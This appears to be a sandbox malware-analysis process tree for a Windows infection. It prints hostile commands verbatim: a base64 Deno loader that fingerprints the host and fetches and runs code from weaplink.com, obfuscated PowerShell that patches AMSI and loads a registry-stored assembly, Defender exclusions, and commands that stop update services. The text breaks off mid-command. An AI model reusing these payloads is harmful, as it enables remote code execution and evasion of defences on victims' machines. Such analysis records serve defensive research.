C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\app\Oscar_system61.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\.deno\bin\deno.exe"C:\Users\Admin\.deno\bin\deno.exe" -A data:application/javascript;base64,ZnVuY3Rpb24gaShuKXtsZXQgdD0wLGU9MjY1NDQzNTc2OTtmb3IobGV0IG89MDtvPG4ubGVuZ3RoO28rKyl0PSh0PDw1KS10K24uY2hhckNvZGVBdChvKXwwLGU9KGU8PDUpLWUrbi5jaGFyQ29kZUF0KG8pfDA7cmV0dXJuKHQ+Pj4wKS50b1N0cmluZygxNikucGFkU3RhcnQoOCwiMCIpKyhlPj4+MCkudG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDgsIjAiKX1mdW5jdGlvbiBhKCl7bGV0IG49RGVuby5lbnYuZ2V0KCJVU0VSTkFNRSIpfHxEZW5vLmVudi5nZXQoIlVTRVIiKXx8IiIsdD1EZW5vLmhvc3RuYW1lKCksZT1EZW5vLnN5c3RlbU1lbW9yeUluZm8oKSxvPURlbm8ub3NSZWxlYXNlKCkscj1gJHtufSR7dH0ke2UudG90YWx9JHtvfWA7cmV0dXJuIGkocil9dmFyIGM9bnVsbDtmdW5jdGlvbiBzKG4pe3RyeXtyZXR1cm4gYz1EZW5vLmxpc3Rlbih7cG9ydDpuLGhvc3RuYW1lOiIxMjcuMC4wLjEiLHRyYW5zcG9ydDoidGNwIn0pLCEwfWNhdGNoKHQpe2lmKHQgaW5zdGFuY2VvZiBEZW5vLmVycm9ycy5BZGRySW5Vc2UpcmV0dXJuITE7dGhyb3cgdH19ZnVuY3Rpb24gdShuKXtsZXQgdD1gKGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCIke259Iik7Y29uc3QgdD1hd2FpdCByLnRleHQoKTtjb25zdCBiPW5ldyBUZXh0RW5jb2RlcigpLmVuY29kZSh0KTtjb25zdCBjPVtdO2ZvcihsZXQgaT0wO2k8Yi5sZW5ndGg7aSs9ODE5MiljLnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZSguLi5iLnN1YmFycmF5KGksaSs4MTkyKSkpO2NvbnN0IG09YXdhaXQgaW1wb3J0KCJkYXRhOmFwcGxpY2F0aW9uL2phdmFzY3JpcHQ7YmFzZTY0LCIrYnRvYShjLmpvaW4oIiIpKSk7YXdhaXQgbS5kZWZhdWx0KCl9KSgpYDtyZXR1cm5gZGF0YTphcHBsaWNhdGlvbi9qYXZhc2NyaXB0O2Jhc2U2NCwke2J0b2EodCl9YH1hc3luYyBmdW5jdGlvbiBsKG4pe2xldCB0PURlbm8uZXhlY1BhdGgoKSxlPW5ldyBEZW5vLkNvbW1hbmQodCx7YXJnczpbIi1BIixuXSxzdGRvdXQ6ImluaGVyaXQiLHN0ZGVycjoiaW5oZXJpdCJ9KSx7Y29kZTpvfT1hd2FpdCBlLm91dHB1dCgpO2lmKG8hPT0wKXRocm93IG5ldyBFcnJvcihgTW9kdWxlIHByb2Nlc3MgZXhpdGVkIHdpdGggY29kZSAke299YCl9YXN5bmMgZnVuY3Rpb24gZCgpe2xldCBuPSJodHRwOi8vd2VhcGxpbmsuY29tIi5zcGxpdCgiLCIpO3RyeXtyZXR1cm4gYXdhaXQgUHJvbWlzZS5hbnkobi5tYXAoYXN5bmMgdD0+e2xldCBlPWF3YWl0IFByb21pc2UucmFjZShbZmV0Y2goYCR7dH0vaGVhbHRoYCkuY2F0Y2gobz0+KGNvbnNvbGUubG9nKGBmZXRjaCBlcnJvciBmb3IgJHt0fTpgLG8ubWVzc2FnZSksbnVsbCkpLG5ldyBQcm9taXNlKG89PnNldFRpbWVvdXQoKCk9Pntjb25zb2xlLmxvZyhgdGltZW91dCBmb3IgJHt0fWApLG8obnVsbCl9LDNlMykpXSk7aWYoY29uc29sZS5sb2coYHJlc3BvbnNlIGZvciAke3R9OmAsZT8uc3RhdHVzLGU/Lm9rKSxlJiZlLm9rKXJldHVybiB0O3Rocm93IG5ldyBFcnJvcigiVVJMIHVuYXZhaWxhYmxlIil9KSl9Y2F0Y2godCl7cmV0dXJuIGNvbnNvbGUubG9nKCJQcm9taXNlLmFueSBmYWlsZWQ6Iix0KSxudWxsfX1hc3luYyBmdW5jdGlvbiBtKCl7cygxMDA0NCl8fERlbm8uZXhpdCgxKTtsZXQgdD1hKCk7Zm9yKDs7KXRyeXtsZXQgZT1hd2FpdCBkKCk7aWYoIWUpdGhyb3cgbmV3IEVycm9yKCJObyB2YWxpZCBBUEkgVVJMIGZvdW5kIik7bGV0IG89YCR7ZX0vbXYyL2V5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUpqWVcxd1lXbG5ia2xrSWpvaVpURmhOelF6TWpWbE5tWmpPR0l3TmlJc0ltTmhiWEJoYVdkdVRtRnRaU0k2SW0xaGFXNGlMQ0pqWVcxd1lXbG5ibFZ5YkNJNkltMWhhVzRpTENKamIyNW1hV2RKWkNJNkltVTBaR1U1TTJSbVpERmtNRFl3TkdJaUxDSndjbTk0YVdWeklqcGJJbWgwZEhBNkx5OTNaV0Z3YkdsdWF5NWpiMjBpWFN3aWRYTmxja2xrSWpvaVpUZ3lZell5TVdFd1lUWm1NalkyT0NJc0luVnpaWEpPYjNSbElqb2liV0ZwYmlJc0ltbGhkQ0k2TVRjM01ERTFNVGd3TXl3aVpYaHdJam95TURnMU56STNPREF6ZlEuTjhJVzFNa3JuancxcERVMXlnQkJuaTFkX3BUYlEtNWdWbWltTGJsakR0US8ke3R9YCxyPXUobyk7YXdhaXQgbChyKX1jYXRjaChlKXtjb25zb2xlLmVycm9yKGUpfWZpbmFsbHl7YXdhaXQgbmV3IFByb21pc2UoZT0+c2V0VGltZW91dChlLDFlMykpfX1tKCk7Cg==4⤵
-
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 943F035A469E89A38679A0F81D8555A62⤵
-
C:\Windows\SysWOW64\ICACLS.EXE"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-3c9571f5-c065-4731-afa6-64c3d1268997\." /SETINTEGRITYLEVEL (CI)(OI)HIGH3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\EXPAND.EXE"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MW-3c9571f5-c065-4731-afa6-64c3d1268997\files\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\MW-3c9571f5-c065-4731-afa6-64c3d1268997\files\Launcher.exe"3⤵
-
-
C:\Windows\SysWOW64\ICACLS.EXE"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-3c9571f5-c065-4731-afa6-64c3d1268997\." /SETINTEGRITYLEVEL (CI)(OI)LOW3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-3c9571f5-c065-4731-afa6-64c3d1268997\files"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4480 -ip 44801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5584 -ip 55841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5260 -ip 52601⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6800 -ip 68001⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 7584 -ip 75841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 6660 -ip 66601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 7144 -ip 71441⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 9200 -ip 92001⤵
-
C:\ProgramData\Telegram\telegram.exeC:\ProgramData\Telegram\telegram.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"2⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER3⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"2⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER3⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"2⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID3⤵
-
-
-
C:\ProgramData\Telegram\telegram.exe"C:\ProgramData\Telegram\telegram.exe" 620afcca966ac3e9f39c66552c26b088a202070d3b6d2a7f2161e2f32e3cedf5ad070bdc3cbeeee47f6caeaf74a6f22f42d5a3e73422ef737ef98de05d5850929c540738b691bc7c90f91e0b4f9a28201c7b6edbe507b357be3b81dbe867a75ad155e4375fd6c90bc7fe51332939f12⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 8340 -ip 83401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1096 -ip 10961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5292 -ip 52921⤵
-
C:\Program Files\VMware\vmtoolsd.exe"C:\Program Files\VMware\vmtoolsd.exe" kernel32.dll,Sleep1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\msiexec.exeC:\Users\Admin\AppData\Local\Temp\msiexec.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\alg.exeC:\Windows\System32\alg.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exeC:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
-
C:\Windows\system32\fxssvc.exeC:\Windows\system32\fxssvc.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 9136 -ip 91361⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"1⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\System32\msdtc.exeC:\Windows\System32\msdtc.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
-
\??\c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"1⤵
- Executes dropped EXE
-
C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exeC:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWow64\perfhost.exeC:\Windows\SysWow64\perfhost.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\locator.exeC:\Windows\system32\locator.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\SensorDataService.exeC:\Windows\System32\SensorDataService.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\System32\snmptrap.exeC:\Windows\System32\snmptrap.exe1⤵
-
C:\Windows\system32\spectrum.exeC:\Windows\system32\spectrum.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s SharedRealitySvc1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 648 -ip 6481⤵
-
C:\Windows\System32\OpenSSH\ssh-agent.exeC:\Windows\System32\OpenSSH\ssh-agent.exe1⤵
-
C:\Windows\system32\TieringEngineService.exeC:\Windows\system32\TieringEngineService.exe1⤵
- Checks processor information in registry
-
C:\Windows\system32\AgentService.exeC:\Windows\system32\AgentService.exe1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 7768 -ip 77681⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\system32\SearchIndexer.exeC:\Windows\system32\SearchIndexer.exe /Embedding1⤵
-
C:\Windows\system32\SearchProtocolHost.exe"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"2⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\SearchFilterHost.exe"C:\Windows\system32\SearchFilterHost.exe" 0 920 924 932 8192 928 9042⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6684 -ip 66841⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5980 -ip 59801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5532 -ip 55321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 7280 -ip 72801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 8368 -ip 83681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5916 -ip 59161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 7220 -ip 72201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 7684 -ip 76841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 7652 -ip 76521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4100 -ip 41001⤵
-
C:\Windows\svchosthelper.exeC:\Windows\svchosthelper.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 760 -ip 7601⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:gHluoclETwrx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qITqtTSVPtSBok,[Parameter(Position=1)][Type]$IPMmOzQeqS)$JCNNmDhzkgV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+'p'+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$JCNNmDhzkgV.DefineConstructor('RTSp'+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+',Hi'+[Char](100)+''+'e'+''+[Char](66)+'yS'+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$qITqtTSVPtSBok).SetImplementationFlags('R'+[Char](117)+'nt'+[Char](105)+'m'+'e'+','+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$JCNNmDhzkgV.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'k'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'li'+'c'+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+'w'+''+'S'+'l'+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+'rtu'+'a'+''+[Char](108)+'',$IPMmOzQeqS,$qITqtTSVPtSBok).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'ag'+'e'+''+[Char](100)+'');Write-Output $JCNNmDhzkgV.CreateType();}$IxMSHtRPsKzBB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+'t'+''+[Char](46)+''+'W'+'i'+'n'+'3'+'2'+''+[Char](46)+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+'e'+'M'+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$lqGPlTVlvlhBvk=$IxMSHtRPsKzBB.GetMethod('Get'+[Char](80)+''+'r'+'o'+[Char](99)+'Ad'+[Char](100)+'r'+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+','+''+[Char](83)+''+'t'+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ISRxXSfcHhNTFrxYtMV=gHluoclETwrx @([String])([IntPtr]);$DeONsZjvaXmXWeRzqcKLNd=gHluoclETwrx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bSVjuVbhhbs=$IxMSHtRPsKzBB.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+'o'+''+'d'+''+[Char](117)+'le'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+'e'+'l'+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$kfRVsVcHIhdTat=$lqGPlTVlvlhBvk.Invoke($Null,@([Object]$bSVjuVbhhbs,[Object](''+'L'+'o'+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'ra'+'r'+''+[Char](121)+''+[Char](65)+'')));$MqJEDRujQMVQesOub=$lqGPlTVlvlhBvk.Invoke($Null,@([Object]$bSVjuVbhhbs,[Object](''+'V'+''+'i'+''+[Char](114)+'tual'+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$irOuyWs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kfRVsVcHIhdTat,$ISRxXSfcHhNTFrxYtMV).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+'l');$EaCKpaXKjheYRSwct=$lqGPlTVlvlhBvk.Invoke($Null,@([Object]$irOuyWs,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+'Sc'+'a'+''+[Char](110)+'B'+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$uHhbVSXOIq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MqJEDRujQMVQesOub,$DeONsZjvaXmXWeRzqcKLNd).Invoke($EaCKpaXKjheYRSwct,[uint32]8,4,[ref]$uHhbVSXOIq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EaCKpaXKjheYRSwct,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MqJEDRujQMVQesOub,$DeONsZjvaXmXWeRzqcKLNd).Invoke($EaCKpaXKjheYRSwct,[uint32]8,0x20,[ref]$uHhbVSXOIq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+[Char](114)+'st'+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\ProgramData\vpguxyntopdh\smkjxilnzidd.exeC:\ProgramData\vpguxyntopdh\smkjxilnzidd.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 6324 -ip 63241⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tJhBiuhQdRnH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$aVgxVfAZSFHfji,[Parameter(Position=1)][Type]$NSHxAPdxQI)$KWXEHqcAmYq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+'l'+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+'c,S'+'e'+'a'+[Char](108)+''+'e'+'d'+','+'A'+[Char](110)+''+[Char](115)+'i'+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+','+'A'+''+[Char](117)+'toCl'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$KWXEHqcAmYq.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+'m'+'e'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c',[Reflection.CallingConventions]::Standard,$aVgxVfAZSFHfji).SetImplementationFlags('Run'+'t'+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');$KWXEHqcAmYq.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+''+[Char](44)+'H'+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+'g,'+'N'+''+'e'+''+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+'irt'+[Char](117)+''+[Char](97)+''+'l'+'',$NSHxAPdxQI,$aVgxVfAZSFHfji).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ge'+'d'+'');Write-Output $KWXEHqcAmYq.CreateType();}$FFCKmtzAqWClv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 